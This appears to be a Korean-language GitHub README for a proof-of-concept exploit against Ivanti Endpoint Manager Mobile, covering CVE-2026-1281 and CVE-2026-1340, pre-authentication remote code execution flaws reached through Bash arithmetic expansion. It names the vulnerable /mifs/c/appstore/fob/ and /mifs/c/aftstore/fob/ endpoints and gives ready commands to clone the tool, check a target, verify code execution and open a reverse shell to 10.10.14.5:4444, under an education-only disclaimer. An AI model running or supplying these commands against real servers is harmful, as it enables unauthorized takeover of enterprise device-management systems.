mehdiledeaut/cve-2026-1281-ivanti-epmm-rce# CVE-2026-1281 및 CVE-2026-1340 개념 증명 - Bash 산술 확장을 통한 Ivanti EPMM 사전 인증 RCE
⚠️ 면책 조항: 이 PoC는 교육 및 보안 연구 목적으로만 제공됩니다. 명시적 허가 없이 사용하는 것은 불법입니다.
Ivanti Endpoint Manager Mobile(EPMM)에 영향을 미치는 CVE-2026-1281 및 CVE-2026-1340 취약점 악용을 위한 완전한 PoC(Proof of Concept)입니다. 이러한 취약점은 Bash 산술 확장(Bash Arithmetic Expansion) 메커니즘을 통해 인증 없이 원격 코드 실행(RCE)을 가능하게 합니다.
/mifs/c/appstore/fob/ 엔드포인트의 코드 주입/mifs/c/aftstore/fob/ 엔드포인트의 코드 주입git clone https://github.com/MehdiLeDeaut/CVE-2026-1281-Ivanti-EPMM-RCE.git
cd CVE-2026-1281-Ivanti-EPMM-RCE
pip3 install -r requirements.txt
chmod +x *.py
# 취약점 테스트
python3 exploit.py -t https://target.com -c
# RCE 검증
python3 exploit.py -t https://target.com --test-rce
# 리버스 셸
python3 exploit.py -t https://target.com --reverse-shell 10.10.14.5:4444
Mehdi Le Deaut - 사이버보안 컨설턴트 | Red Team 전문가
이 프로젝트는 MIT 라이선스 하에 제공됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.